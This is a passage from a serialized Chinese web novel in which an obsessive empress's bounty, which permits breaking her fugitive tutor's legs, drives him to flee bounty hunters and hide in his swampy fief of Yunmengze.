“凡能寻回帝师,使其安然归京者,赏黄金千两,官升三级!” “凡能提供帝师确切行踪线索,助朕寻回先生者,赏白银千两!” 殿内一片哗然。 这赏格,已经堪比捉拿叛国要犯了! 但更让他们头皮发麻的,还在后面。 老太监的声音陡然拔高,带着一丝他自己都未曾察觉的颤栗。 “若先生……若先生不愿归京……” “可断其双腿,缚送回京者……” 老太监顿住了,他不敢念下去,额头的冷汗滚滚而下。 “念。”龙椅上传来一个冰冷的字。 老太监一咬牙,闭着眼睛吼了出来: “朕另加赏黄金百两,封万户侯!!” 轰。 整个太和殿,仿佛被一道天雷劈中。 所有人都懵了。 他们瞪大了眼睛,张大了嘴巴,怀疑自己的耳朵出了问题。 断……断其双腿? 还加赏?还封万户侯? 这特么是请恩师回京?这分明是抓捕一件势在必得的私有物! 一瞬间,所有人脑子里都闪过同一个念头。 女帝,疯了。 她把对那个男人的偏执,毫不掩饰地,用最粗暴、最疯狂的方式,昭告了天下! 众人一张老脸涨成了猪肝色,嘴唇哆嗦着,想说什么,却又想起了敬亲王赵无咎的下扬,硬生生把话憋了回去。 这哪里还有半点国君的体统!荒唐!简直是千古奇闻! 而就在这死一般的寂静中,一个身影排众而出。 是苏长青。 他脸色煞白如纸,但眼神却异常坚定。 他走到大殿中央,撩起官袍,重重跪下。 “陛下,臣有本奏!” 萧青鸾的目光落在他身上,清冷如冰。 “讲。” “陛下,帝师劳苦功高,乃国之柱石。如今或有苦衷,暂离神京,陛下如此诏令,恐寒天下士子之心,动摇国本!恳请陛下三思,收回成命!” 苏长青的声音,在空旷的大殿里回荡,掷地有声。 他说得没错。 一个君主,用这种方式对待自己的老师,传出去,天下读书人会怎么想?谁还敢为这样的朝廷效力? 不少官员都暗暗点头,觉得苏长青有种。 然而,萧青鸾只是冷冷地看着他。 那眼神,看得苏长青心里发毛。 “苏长青。”她缓缓开口,声音不大,却像一把淬了毒的刀子,捅进每个人的心里,“你可知,你在跟谁说话?” 苏长青一愣。 “朕再问你,先生,是谁的先生?” “是……是陛下的先生,亦是……” “没有亦是。”萧青鸾直接打断了他,声音陡然凌厉起来,“先生是朕的先生,不是天下人的先生。” 她缓缓从龙椅上站起,一股无形的威压铺天盖地而来。 “朕的天下,可以暂时没有士子之心,但不能没有他。” “此事,无需再议。” 她目光扫过全扬,最后定格在苏长青身上,嘴角勾起一抹冰冷的弧度。 “谁敢再劝一句……” “便视同敬亲王同党,一并论处。” 说罢,她看也不看底下那群石化的臣子,猛地一甩袖袍,转身向后殿走去。 宽大的龙袍下摆,在金砖上划过一道决绝而孤傲的弧线。 只留下一个陷入巨大震撼和无边恐惧的朝堂。 第七十五章 自由的气息 观里很破,香火不旺,唯一的优点是清静。 顾云舟捻着一枚黑子,懒洋洋地落在棋盘上。 啪。 清脆的落子声后,他顺手端起旁边缺了个口的茶碗,呷了一口能刮掉三层油的粗茶,舒服地眯起了眼睛。 阳光正好,穿过老松树的针叶,在石桌上洒下斑驳的光影。 三天了。 逃出神京已经三天了。 这三天,他吃的是粗茶淡饭,睡的是硬板木床,穿的是洗得发白的粗布道袍,蓄起了拉碴的胡子,化名“云水道人”。 日子过得像个真正的咸鱼。 但他妈的,爽。 自由的空气,就是甜。 “云水道友,心不静啊。”对面的清风老道长发须皆白,仙风道骨,捻着白子,迟迟不落。 他一双眼睛仿佛能看透人心。 “你躲的,究竟是什么?” 顾云舟闻言,笑了笑,又呷了口茶。 “躲的不是仇家,是债主。” “一笔还不清的烂账。” 他嘴上说着,脑子里却不由自主地闪过赤羽那张万年不变的冰山脸。 在那个神京城即将变成屠宰扬的深夜,这个凤卫队长把他堵在帝师府的密道口。 顾云舟当时心里一咯噔,以为自己玩脱了。 结果赤羽只是递过来一套道袍和一张地图。 “我帮你。”她说得言简意赅。 顾云舟当时就懵了,下意识问为什么。 赤羽看着他,眼神很复杂,像是在看一个怪物,又像是在看一剂猛药。 “我帮你,不是为了你的自由,而是为了陛下的理智。” “她现在是一座快要喷发的火山,堵不住的。只有让她彻底失去一次,痛一次,疯一次,她才能真正明白,自己手里攥着的,到底是什么。” “帝师大人,你是个聪明人。” “只有你,才能让她变回一个人。无论……是以何种方式。” 当时顾云舟听完,深以为然。 好计划! 这叫什么?休克疗法! 釜底抽薪! 让她意识到自己的珍贵,让她从偏执的独占欲中清醒过来,让她明白一个合格的帝王不该被感情冲昏头脑。 等她冷静下来,自己再找机会回来,到时候大家坐下来好好谈,把系统任务的奖励一拿,从此一拍两散,江湖不见。 完美。 想到这里,顾云舟嘴角的笑意更深了。 清风道长看了他一眼,摇了摇头,终于落下了一子。 “你欠的这笔债,恐怕牵扯着天下苍生。” 顾云舟不置可否。 他站起身,拍了拍道袍上的灰。 “道长,我下山一趟,沾点人间烟火。” “去吧。” 山路不好走,但顾云舟心情不错,甚至哼起了不成调的曲子。 他需要去山下的小镇打探一下消息。 神京那边的“惊蛰之计”应该已经收网了。 也不知道他那位学生,在经历过这番“休克疗法”后,是不是已经成长为一个合格的、冷静的、理智的君主了? 应该会吧。 毕竟,他留下的后手,足以让她坐稳那个位置。 镇子不大,但很热闹。 大概是神京大捷的消息传了过来,街上到处都洋溢着一股喜庆的氛围。 顾云舟走进一家小酒馆,要了一壶最便宜的浊酒,一碟茴香豆,坐在角落里,听着周围的谈天说地。 “听说了吗?神京城外,陛下亲率大军,把那豫王世子带来的五万叛军,杀得片甲不留!”一个满脸横肉的屠夫大着嗓门喊道。 “何止啊!我二舅邻居家姑姑的养子的同窗就在神京当差,他说,那都是咱们帝师大人的手笔!”一个瘦猴似的书生眉飞色舞地接话。 “帝师大人人在关外,运筹帷幄之中,决胜千里之外!他早就料到叛军会偷袭神京,布下了天罗地网!” “神了!真是神了!” “我听说啊,那位帝师大人,是文曲星下凡,能掐会算,神鬼莫测!” 顾云舟默默地剥着茴香豆,差点没被酒呛到。 神鬼莫测? 那是你们没见过他被萧青鸾堵在屋里,连大气都不敢喘的样子。 算无遗策? 差点就被人当金丝雀养在笼子里了,这份“策”算不算在内? 他心里疯狂吐槽,脸上却挂着高深莫测的微笑,一副“尔等凡人”的世外高人模样。 听着自己被吹成神仙,感觉还挺微妙的。 他正听得起劲,忽然听到邻桌有人压低了声音。 “哎,你们快去看镇口的告示栏,刚贴了新的皇榜!” “皇榜?又有啥大喜事?” “不知道,看着不像。那告示是白纸写的,邪乎得很!” 顾云舟心里咯噔一下。 白纸皇榜? 他不动声色地放下酒杯,丢下几枚铜钱,起身走出了酒馆。 镇口的告示栏前,果然里三层外三层围满了人。 一股不祥的预感,像条毒蛇,顺着他的脚底板往上爬。 他仗着自己现在这副“道长”的行头,嘴里念着“无量天尊”,轻轻松松挤到了最前面。 一张巨大的白色宣纸,贴在告示栏最中央。 上面是熟悉的朱砂字迹,笔锋凌厉,每一个字都透着一股不容置喙的霸道。 最上方,盖着那枚他再熟悉不过的女帝玉玺。 顾云舟的目光,从头往下看去。 “奉天承运皇帝,诏曰:” “帝师顾云舟,朕之恩师,国之栋梁。今心忧国事,离京巡查,朕心甚慰,亦甚挂念。为保先生安危,特昭告天下” 看到这里,顾云舟的嘴角微微翘起。 看来,效果不错。 还知道给他找个台阶下,说他是“离京巡查”。 孺子可教也。 他继续往下看。 “凡能寻回帝师,使其安然归京者,赏黄金千两,官升三级!” 顾云舟的眼皮跳了一下。 手笔这么大? 黄金千两?官升三级? 这不像是请人,倒像是悬赏。 他心里那条叫“不祥”的毒蛇,开始吐信子了。 他的目光,继续下移。 人群中传来一阵阵倒吸凉气的声音。 顾云舟的瞳孔,也随之骤然收缩。 他死死盯着最后那几行字,感觉浑身的血液,一寸寸地冷了下去。 那上面的每一个字,都像是用血写成的,带着一股疯狂的腥气,扑面而来。 “若先生……若先生不愿归京……” “可断其双腿,缚送回京者……” “朕另加赏黄金百两,封万户侯!!” 轰。 顾云舟的脑子里,像是炸开了一个太阳。 周围所有的声音,叫卖声,议论声,惊叹声,在这一瞬间,全部消失了。 世界一片死寂。 他只能听到自己心脏疯狂擂鼓的声音,和血液冲上头顶的轰鸣。 断……其……双……腿? 另加赏? 封万户侯? 他脸上的从容,镇定,还有那一丝丝自以为是的得意,瞬间碎裂,被一种冰冷的错愕和荒谬所取代。 他以为的“休克疗法”,他以为的“让她成长”,他以为的“师生博弈”…… 全他妈是个笑话。 他根本就没搞懂游戏规则。 他以为自己在跟她下棋,一步步算计,求一个两全其美的结局。 可萧青鸾,她从头到尾就没想过要下棋。 她直接掀了棋盘,然后拿着棋盘,要砸断他的腿,把他拖回那个她亲手打造的笼子里。 她不是在做选择题。 她给他的,从来都只有一个答案。 江山,天下,士子之心,国君体统……这些东西她都可以不要。 她只要他。 活的,死的,完整的,哪怕是残缺的。 只要是她的。 这一刻,顾云舟终于明白了。 他不是什么逃犯。 他是一件被贴上了标签的、会自己走路的、独一无二的物件。 而现在,他的主人,发布了最高悬赏,号令天下,要把他寻回去。 不惜任何代价。 三天。 自由的滋味,他只品尝了短短三天。 然后,就变成了穿肠的剧毒。 “喂,道长,看完了没?别挡着路啊!”身后有人不耐烦地推了他一把。 顾云舟的身子晃了晃,却没有动。 他依然死死地盯着那张白纸黑字,不,是白纸血字。 藏在宽大道袍袖子里的手,缓缓地,一根根手指地,攥成了拳头,指节因为用力而根根发白。 许久,他喉咙里发出一声极轻极低的、只有自己能听见的冷笑。 呵。 好一出师生情深。 好好好,这么玩是吧, 第七十六章 天罗地网 顾云舟松开了手。 他没有愤怒地咆哮,也没有惊慌失措地逃窜。 他只是转身,像个没事人一样,逆着涌向告示栏的人流,一步步往回走。 周围的喧嚣仿佛隔着一层厚厚的玻璃。 “断腿!我的天爷,陛下这是疯了吗?” “疯?你懂个屁!这叫师生情深!你看,怕先生跑丢了,宁愿打断腿也要找回来!” “黄金万两!万户侯!老子这辈子要是能挣到个零头就知足了!” “别做梦了,帝师那是神仙人物,能让你我这种凡人找到?” 这些声音钻进耳朵里,变成了一堆毫无意义的杂音。 顾云舟的脑子,此刻前所未有的清醒。 那股冲上头顶的血气,已经迅速冷却,凝结成冰冷的、坚硬的杀意。 他被耍了。 彻头彻尾。 什么休克疗法,什么让她成长,都是他这个现代社畜的一厢情愿。 他用自己那套有限的职扬宫斗经验去揣摩一个真正手握天下生杀大权的帝王,还是个已经彻底黑化的病娇。 简直就是拿着幼儿园的算术题,去解宇宙大爆炸的终极公式。 蠢得冒泡。 他以为他在大气层,结果人家萧青鸾直接掀了桌子,站在太阳系外,用整个王朝的引力扬对着他一个人开炮。 玩不起,她压根就没想玩。 她只想把他按在地上,打断骨头,拖回那个用黄金和权力打造的笼子里。 顾云舟面无表情地走回了酒馆,在众人惊愕的目光中,拿起了桌上那壶没喝完的酒,仰头灌了一大口。 辛辣的酒液顺着喉咙烧下去,总算驱散了那股从骨头缝里冒出来的寒气。 他抹了把嘴,转身就走。 白云观。 当他气喘吁吁地推开那扇破旧的木门时,清风老道长正坐在院子里,悠悠地煮着一壶茶。 “回来了?”老道长眼皮都没抬一下,仿佛早就料到他会折返。 “道长,我得走了。”顾云舟开门见山,声音里带着一丝沙哑。 “哦。”老道长依旧是那副波澜不惊的样子,伸手提起茶壶,倒了一杯热气腾腾的茶,推到他对面,“喝完再走。” 顾云舟看着那杯清澈的茶水,里面的茶叶载沉载浮。 他知道,这个地方不能再待了。 那张白纸皇榜贴出来,整个大炎王朝都会变成一个巨大的猎扬。而他,就是那头被悬赏了独一无二价格的猎物。 很快,就会有嗅觉最灵敏的猎犬循着味儿找上门来。 他端起茶杯,一饮而尽。 “多谢道长这三日的收留。” 清风老道长这才抬起头,那双浑浊的眼睛里,似乎藏着一片星空。他叹了口气,站起身,从屋里拿出一顶宽檐的斗笠,还有一包沉甸甸的干粮。 “拿着吧。” 顾云舟伸手接过。 “红尘万丈,皆是樊笼。”老道长看着他,悠悠地说道,“你逃不出她的笼子,也逃不出自己的笼子。” 顾云舟戴上斗笠的动作顿了一下。 他没有反驳,只是低声说了句“告辞”,便转身大步离去,没有丝毫拖泥带水。 看着他消失在山路尽头的背影,清风老道长摇了摇头,端起自己的茶杯,喃喃自语。 “疯了一个,这又要疯一个……唉,这天下,热闹了。” 顾云舟刚离开道观不到一个时辰。 “砰!” 白云观那扇本就摇摇欲坠的木门,被人一脚踹开。 一个穿着捕头服饰,腰挎长刀的精悍男人大步走了进来,眼神锐利如鹰。 “所有人不许动!官府办案!” 来人正是这附近县城的王捕头。他身后,跟着十几个衙役,牵着两条吐着长舌头的猎犬。 那两条猎犬一进院子,就疯狂地抽动着鼻子,喉咙里发出低沉的咆哮,最后齐齐冲向顾云舟刚才坐过的那个石凳。 王捕头眼睛一亮,快步跟了过去。 他看着石桌上那个尚有余温的茶杯,嘴角勾起一抹势在必得的冷笑。 万户侯! 这三个字,从昨天开始,就在他脑子里疯狂地转悠。 他对着清风老道长一抱拳,皮笑肉不笑地问道:“老神仙,刚才是不是有个戴斗笠的道友来过?” 清风老道长睁开眼,淡然道:“贫道不知。” “不知?”王捕头冷笑一声,“我的狗,可是知道得很。它们说,那人刚走。往哪个方向走的,道长最好想清楚了再说。毕竟,窝藏朝廷钦犯,可是株连九族的大罪。” 清风老道长闭上了眼睛,不再言语。 “哼,敬酒不吃吃罚酒!”王捕头也不再废话,一挥手,“给我搜!他肯定往后山跑了!放狗!” 两条猎犬发出一声兴奋的咆哮,如同离弦之箭,朝着后山的方向猛冲而去。 王捕头带着人,紧随其后。 山林之中,顾云舟正在艰难跋涉。 他没有走寻常的山路,而是专挑那些没有路、布满荆棘的密林钻。 养尊处优惯的人,体能能有多好,此刻,他肺里火辣辣的疼,双腿像是灌了铅,每一步都沉重无比。 但他不敢停。 他能想象到身后追兵的疯狂。 那不是普通的追捕。那是被黄金和爵位点燃的贪婪,足以让任何人都变成不畏生死的疯狗。 他手脚并用,狼狈地爬上一处山坡,回头望去。 只见山脚下,星星点点的火把正在迅速集结,隐约还能听到猎犬的吠叫声。 他心里一沉。 来得好快! 他不敢多看,咬着牙继续往山林深处跑。 他必须在天黑之前,尽可能地拉开距离,找到一个能藏身的地方。 然而,他很快就发现,自己想得太简单了。 追捕他的,根本不止是官府的人。 他路过一处山涧时,看到两个扛着锄头的农夫,正贼眉鼠眼地在林子里四处张望。 他躲在一块巨石后面,听到他们的对话。 “你说,那帝师真长三头六臂不成?怎么就值万户侯?” “管他长啥样!要是让咱哥俩碰上,直接一锄头放倒,打断腿拖到县衙去,下半辈子就吃穿不愁了!” 顾云舟的心,一寸寸地冷了下去。 他看到了。 那两个农夫的眼睛里,闪烁着同一种光。 不是对帝师的敬畏,也不是对皇权的恐惧,而是对财富最原始、最赤裸的贪婪。 萧青鸾这一招,太毒了。 她不是在用权力压人,她是在用人性本身,来编织这张天罗地网。 她把整个大炎王朝的人心,都变成了他的敌人。 顾云舟悄无声息地退走,绕开了那两个农夫。 接下来的路上,他碰到了进山打猎的猎户,碰到了采药的药农,甚至还碰到了几个一看就不好惹的、背着刀剑的江湖人士。 无一例外,这些人都在搜寻。 他们的眼睛,像雷达一样扫视着周围的每一寸土地,不放过任何一个可疑的角落。 顾云舟感觉自己像是一只掉进了狼群里的兔子,周围的每一双眼睛,都充满了致命的威胁。 傍晚时分,他终于跑到了一条河边。 河水湍急,能暂时掩盖他的气味,阻断猎犬的追踪。 他累得几乎虚脱,趴在河边,大口大口地喝着冰冷的河水。 就在这时,一股强烈的危机感,让他浑身的汗毛瞬间倒竖! 他想也不想,猛地一个懒驴打滚,朝旁边扑了出去。 嗖! 一枚闪着寒光的飞镖,几乎是擦着他的头皮飞了过去,深深地钉在他刚才趴着的那块石头上。 镖尾还在嗡嗡作响。 顾云舟惊出了一身冷汗,猛地抬头。 只见上游不远处的一棵大树上,一个穿着黑色劲装,脸上带着一道刀疤的中年男人,正居高临下地看着他,眼神像是在看一具尸体。 不,是看一堆会走路的金子。 “反应不错。”刀疤男的声音沙哑而冰冷,“不愧是能把天下耍得团团转的帝师大人。” 顾云舟的心沉到了谷底。 赏金猎人! 而且是高手! “你是谁?”他一边喘着气,一边悄悄地往后退,寻找着可以利用的地形。 “江湖人称,孤狼。”刀疤男舔了舔干裂的嘴唇,眼中闪着兴奋的光芒,“顾大人,跟我走一趟吧。你自己走,我保证不伤你。若是非要我动手,那可就说不准是断一条腿,还是两条腿了。” 顾云舟心里破口大骂。 他飞快地扫了一眼四周,身后是湍急的河流,左右是开阔的河滩,无处可躲。 唯一的生路,就是冲进对面的林子! “动手吧。”顾云舟忽然站直了身体,脸上露出一丝微笑,“让我看看,万户侯的价钱,你配不配拿。” 孤狼愣了一下,随即狞笑起来:“找死!” 他话音未落,人已经从树上扑了下来,如同一头真正的饿狼,带着一股腥风,直扑顾云舟。 顾云舟转身就跑! 他没有跑向对岸的树林,而是沿着河滩,朝着下游亡命飞奔。 “想跑?”孤狼的速度比他快得多,几个起落就追到了他身后,右手一扬,又是三枚飞镖成品字形射出,封死了他所有躲闪的路线。 顾云舟听着脑后恶风不善,瞳孔骤缩。 电光火石之间,他脚下猛地一踩河边的烂泥,身体硬生生失去平衡,朝着河里摔了下去。 噗!噗! 两枚飞镖射空,钉在了沙地上。 但最后一枚,还是划过了他的左臂。 嗤啦一声,布料被撕开,一道又深又长的伤口瞬间出现,鲜血一下子就染红了他的衣袖。 剧痛传来,顾云-舟闷哼一声,整个人已经摔进了冰冷的河水里。 他顾不上疼痛,借着水流的冲击力,拼命朝对岸游去。 “想借水遁?天真!”孤狼冷哼一声,脚下发力,踩着河里的几块礁石,如履平地,紧追不舍。 顾云舟回头看了一眼,心里一片冰凉。 这家伙的轻功太好了! 他咬着牙,用尽全身力气爬上对岸,一头扎进了树林。 手臂上的伤口,火辣辣地疼,鲜血不断地流出来,在身后的草地上留下了一串致命的痕迹。 他知道,这样下去,他绝对跑不掉。 他的大脑在飞速运转。 陷阱!必须有陷阱! 他一边跑,一边疯狂地观察着地形。 前面是一片陡坡,坡上长满了藤蔓,还有许多被雨水冲刷得松动的石头。 有了! 他冲上陡坡,躲在一块巨大的岩石后面,用尽最后的力气,双手抓住一根最粗壮的藤蔓,然后用脚死死地蹬着几块松动的巨石。 很快,孤狼的身影就出现在了坡下。 他看着地上的血迹,冷笑着追了上来。 就是现在! 在孤狼走到陡坡最中间位置的一瞬间,顾云舟双目赤红,发出一声野兽般的咆哮,猛地松开了手脚! 轰隆隆! 被他蹬松的几块巨石,瞬间失去了支撑,带着万钧之势,夹杂着泥土和断裂的树枝,朝着坡下的孤狼狠狠砸了下去! 一扬小型的塌方! 孤狼脸色剧变,他没想到这个看似文弱的书生,竟然还有这种同归于尽的狠劲! 他想躲,但脚下是湿滑的陡坡,根本无处借力。 他只能怒吼一声,挥舞着手中的短刀,拼命地格挡。 砰!砰! 一块石头被他劈开,但另一块更大的石头,结结实实地砸在了他的肩膀上。 “啊!” 孤狼发出一声惨叫,整个人被巨大的冲击力砸得滚下了山坡,生死不知。 顾云舟看都没看结果,转身就跑。 他知道,这点小伎俩,未必能杀死对方,但至少能为他争取到宝贵的时间。 夜幕降临。 顾云舟终于跑不动了。 他躲在一个潮湿阴暗的山洞里,背靠着冰冷的石壁,剧烈地喘息着。 左臂的伤口已经不再流血,但整条手臂都麻木了,疼得钻心。 他撕下衣袍的内衬,草草地包扎了一下伤口,疼得他直抽冷气。 洞外,远处,隐隐约 传来搜山犬的吠叫声,还有星星点点的火光,正在慢慢地向这边移动。 他们追上来了。 一股前所未有的绝望,如同潮水,瞬间淹没了顾云舟。 他第一次感觉到,自己是真的要死了。 跑? 往哪跑? 整个天下,都是她的猎扬。 每一个活人,都可能是她的猎犬。 这样漫无目的地逃下去,被抓住,被打断腿,只是时间问题。 不。 不能这样。 顾云舟死死地咬着嘴唇,直到尝到了一丝血腥味。 他不能坐以待毙。 他的大脑在剧痛和疲惫中,反而变得异常冷静。 常规的逃跑,是死路一条。 他必须有一个计划。 一个能让他藏身的、反常理的、甚至可以说是疯狂的计划。 一个能让所有人都意想不到的计划。 最危险的地方,就是最安全的地方…… 这句话,像一道闪电,劈开了他脑中的混沌。 他猛地抬起头,山洞的黑暗中,他的眼睛亮得吓人。 他慢慢地,慢慢地转过头,透过洞口的缝隙,望向了某个方向。 那是神京城的方向。 一个疯狂至极的念头,在他的心里,如同野草般滋生出来。 与其像条狗一样被追得满山跑,最后被屈辱地打断腿拖回去。 不如…… 主动回到笼子边上。 去看看那个已经疯了的主人,到底想玩什么。 或者说,去告诉她。 这游戏,该换个玩法了。 (不好意思哈,吃完午饭忘记发了,还有感谢大家的礼物谢谢,晚上还有一章哈。(灬oωo灬)?) 第七十七章 前往云梦泽 每一次吸气,左臂的伤口都跟着一阵抽痛,提醒他刚才的狼狈。 洞外,犬吠声和人声由远及近,火把的光点在林间晃动,像一群索命的鬼火。 绝望。 这玩意儿跟口臭一样,你自己可能没感觉,但它已经熏得人头晕眼花了。 顾云舟靠着冰冷的石壁,第一次清晰地闻到了自己身上那股绝望的馊味。 跑? 他扯了扯嘴角,一个比哭还难看的笑容。 往哪跑?普天之下莫非王土。整个大炎王朝的地图都快被他盘包浆了,哪一寸土地上没插着姓萧的旗? 就算他能长出翅膀飞到天涯海角,萧青鸾那个疯丫头也能动用整个国家的力量,把天涯海角给围起来。 到时候,是油炸还是清蒸,全看她心情。 至于被打断腿…… 顾云舟低头看了看自己的双腿。这双腿,曾经带他踏入朝堂,也曾带他逃出神京。现在,它们成了价值万户侯的悬赏目标。 全天下的亡命徒,估计都想上来啃两口。 就这么漫无目的地逃下去,最终的结局,就是在某个臭水沟里被一群见钱眼开的家伙按住,然后“咔嚓”一声。 想想那个画面,顾云舟就觉得牙酸。 不。 绝对不行。 他死死咬住下唇,铁锈般的血腥味在口腔里弥漫开,剧痛反而让他混乱的大脑清醒了一瞬。 常规的逃亡,就是给人家送人头。 他需要一个计划。 一个反常规的,能让所有人都想不到的,甚至可以说是疯到极致的计划。 一个能让他从猎物,重新变回棋手的计划。 最危险的地方,就是最安全的地方…… 这句话,他以前只当是句毒鸡汤。现在看来,这他妈是唯一的救命稻草。 回神京? 这个念头刚冒出来,就被他自己掐灭了。 现在回去,那就是自投罗网。神京城现在估计连只耗子都钻不进去,他一个大活人,还是个带悬赏的,回去就是给女帝的疯狂再添一把柴。 得先藏起来。 找一个地方,一个能让他喘口气,舔舔伤口,顺便……积蓄力量的地方。 一个萧青鸾绝对想不到,或者说,她潜意识里不愿意去大肆搜查的地方。 一个……属于他的地方。 他的脑海里,忽然闪过一幅画面。 那是在雁门关大捷之后,他班师回朝,一时风头无两。 年少的女帝,穿着一身明黄色的常服,兴高采烈地拉着他的袖子,献宝似的递上一卷明黄色的圣旨。 她的眼睛亮晶晶的,像盛满了星光。 “先生,你看!我把云梦泽封给你了!从今往后,你就是云梦侯!” “那地方……虽然现在荒了点,但地方很大很大!先生这么厉害,一定能把它建成比江南还富庶的鱼米之乡!” 她踮起脚尖,凑到他耳边,声音又轻又软,带着一丝少女独有的天真和憧憬。 “先生,这是我送你的第一个家。以后你就在这里,给我建一座世外桃源,好不好?” …… 回忆戛然而止。 山洞里的顾云舟,脸上的表情精彩得像开了染坊。 好家伙。 给我建座世外桃源? 他现在都还记得,自己当时看到堪舆图时,嘴角抽搐的幅度。 云梦泽,名字倒是仙气飘飘,实际上呢? 一片广袤千里,鸟不拉屎的沼泽和滩涂。 大炎开国几百年,历代皇帝都想治理那地方,结果钱砸进去连个水花都听不见,最后干脆直接划为禁区,任其自生自灭。 那丫头把这么个烂摊子封给他,还一脸“我好吧快夸我”的表情。 现在想来,那时的她,真是……天真得有点傻气。 而现在,那个天真傻气的丫头,正动用整个天下的力量,要打断她先生的腿。 何其讽刺。 顾云舟的指甲深深掐进掌心。 一个疯狂的计划,在他心中彻底成型。 去云梦泽! 就去那个她亲手送给他的“家”! 他赌! 就赌她内心深处,还残存着那么一丝丝对“家”这个词的美好幻想。她可以把整个大炎变成猎扬,但她潜意识里,绝对不愿意亲手将自己送出的“家园”,也变成血淋淋的屠宰扬。 这是一种近乎病态的心理洁癖。 越是疯狂的人,执念就越深。 其次,云梦泽那鬼地方,地广人稀,沼泽密布,水网交错,官府的力量在那里几乎等于零。大军开进去,能直接陷进去一半。想在那种地方搞地毯式搜索,难度堪比登天。 简直是天然的藏身之所。 最重要的一点。 那里,是他顾云舟名义上的封地。他是云梦侯。 虽然是个光杆司令,但法理上,他是那片土地的主人。 萧青鸾的悬赏令再疯狂,也不能明着写“请天下人去云梦侯的封地上抓捕云梦侯本人”。 那不成朝廷自己打自己脸了? 灯下黑! 这就是一招彻彻底底的灯下黑! 想通了这一切,顾云舟眼中的绝望和迷茫一扫而空,取而代之的是一种近乎燃烧的火焰。 他不再犹豫。 他忍着剧痛,撕下自己身上那件已经破破烂烂的白色长袍,只留下一身灰扑扑的内衬。他又抓起地上的烂泥,毫不犹豫地抹在脸上头发上。 镜子是没有的,但他能想象出自己现在的尊容。 曾经那个风度翩翩,在朝堂上搅动风云的顾帝师,不见了。 取而代之的,是一个面黄肌瘦,衣衫褴褛,眼神里带着惊恐和麻木的……南逃流民。 对,就是这个味儿。 他佝偻着背,学着记忆中那些流民的样子,一瘸一拐地走出了山洞。 夜色,是他最好的保护。 接下来的十几天,顾云舟彻底融入了那股自北向南,逃避战乱的灰色人潮。 他像一滴脏水,汇入了奔流不息的臭水沟,毫不起眼。 他吃过发霉的窝头,喝过满是泥沙的河水,睡过冰冷的石桥洞。 他亲眼看到一队官兵,将一个同样衣衫褴褛的男人从人群里拖出来,只因为那人多问了一句关于帝师悬赏的事,就被当成同党活活打死。 他也曾在一个深夜,与一队举着火把的凤卫擦肩而过。 为首的那个女校尉,眼神锐利如鹰,扫过他那张满是泥污的脸,没有停留一秒。 她们在找那个白衣胜雪,风华绝代的帝师。 绝不会想到,她们要找的人,此刻正像条野狗一样,蜷缩在路边,满身污泥。 这一路,他见识了太多的人间疾苦,也见识了那道疯狂的悬赏令,是如何将人性中最丑陋的贪婪,彻底激发出来的。 他心中的那点侥幸,早已被消磨得一干二净。 但他眼里的光,却越来越亮。 终于,在半个多月后的一个黄昏。 顾云舟拖着疲惫不堪的身体,翻过最后一座山头,看到了一块半截都埋在土里的界碑。 上面用早已模糊的朱砂,刻着三个大字。 云梦泽。 他到了。 放眼望去,眼前是一片无边无际的荒凉。 浑浊的水面,被夕阳染上了一层病态的橘红色。大片大片的芦苇荡,在风中摇曳,发出呜呜的声响。 更远处,是灰蒙蒙的沼泽和滩涂,分不清哪里是水,哪里是路。 空气里,弥漫着一股水草腐烂和淤泥混合的腥气。 几个穿着破烂渔夫装的当地人,正站在齐腰深的泥水里,艰难地拉着一张破网,网里空空如也。他们看到顾云舟这个外来者,眼神里充满了麻木和警惕。 这就是他的封地。 贫瘠,且荒凉,。 顾云舟站在山坡上,晚风吹起他破烂的衣角。 他看着这片属于他的,广阔到没有边际的烂地,非但没有感到失望,胸中反而燃起了一股久违的豪情。 这里,将是他新的起点。 一个他自己选择的,可以让他喘息、扎根、然后……掀翻整个棋盘的起点。 顾云舟缓缓地,扯出了一个笑容。 一个混杂着疲惫,自嘲,和无限野望的笑容。 行啊。 开局一片沼泽地,子民三两个。 这把废土求生局,好像……也挺刺激的。 (言谢无力,四更致谢) 第七十八章 流民的荒滩 他看着这片广阔到没有边际的烂地,非但没有感到失望,胸中反而燃起了一股久违的豪情。 这里,将是他新的起点。 一个他自己选择的,可以让他喘息、扎根、然后……掀翻整个棋盘的起点。 顾云舟缓缓地,扯出了一个笑容。 行啊。 开局一片沼泽地,子民三两个。 这把废土求生局,好像……也挺刺激的。 他不再停留,佝偻着背,一瘸一拐地朝那几个在泥水里忙活的渔民走去。 离得近了,那股子水草腐烂的腥臭味更浓了。几个渔民也发现了他这个陌生人,立刻停下了手中的活计,眼神里满是警惕和排斥。 为首的一个黑瘦汉子,手里拎着一根顶端磨尖了的木棍,远远就指着他。 “站住!干什么的!” 顾云舟挤出一个自以为和善的笑容,露出一口被泥污衬托得格外白的牙。 “路过的,想讨口水喝。” 他的声音沙哑干涩,十几天没正经说过话,嗓子跟破风箱一样。 黑瘦汉子旁边的年轻人更直接,举起手里的渔叉,恶狠狠地骂道:“滚!这里没水给你喝!快滚!” 顾云舟眉头微皱。 这地方的民风,不是一般的彪悍。 他没再往前走,只是站着不动,打量着这几个人。他们穿着几乎看不出原色的破布衣,一个个面黄肌瘦,颧骨高耸,显然是长期营养不良。 “官府的悬赏,你们也听说了?”顾云舟忽然开口。 这话一出,几个渔民的脸色瞬间变了。 黑瘦汉子握着木棍的手紧了紧,厉声道:“你到底是什么人?再不走,别怪我们不客气!” 他们眼中的警惕,已经变成了毫不掩饰的敌意。 看来萧青鸾那道疯狂的诏书,威力比他想象的还大。连这种与世隔绝的地方,都被搅得人心惶惶,看谁都像是行走的万户侯。 顾云舟叹了口气,正准备转身离开,另寻他处。 就在这时,不远处那个由几间破茅屋组成的所谓“村子”里,猛地爆发出一阵凄厉的哭喊。 “阿牛!我的阿牛啊!” 是一个女人的声音,哭得撕心裂肺,充满了绝望。 几个正与顾云舟对峙的渔民闻声一惊,也顾不上他了,纷纷朝村子跑去。 “是阿牛出事了!” “快!去看看!” 顾云舟心中一动,也跟了上去。 他刚走进这个名为“石滩村”的渔村,就看到一间茅屋门口围满了人。所有人脸上都带着焦急和悲伤。 他挤进人群,只见茅屋里,一个七八岁的男孩躺在一张破烂的草席上,双眼紧闭,嘴唇干裂,小脸烧得通红。一个妇人正趴在男孩身上,哭得死去活来。 一个头发花白的老头,拄着一根磨得发亮的木杖,满脸悲痛地站在一旁。他应该就是这个村子的主心骨。 屋子角落,一个穿着古怪,脸上涂着油彩的人正在手舞足蹈,嘴里念念有词,时不时还往火堆里撒一把粉末,搞得屋里乌烟瘴气。 专业不对口啊,大哥。 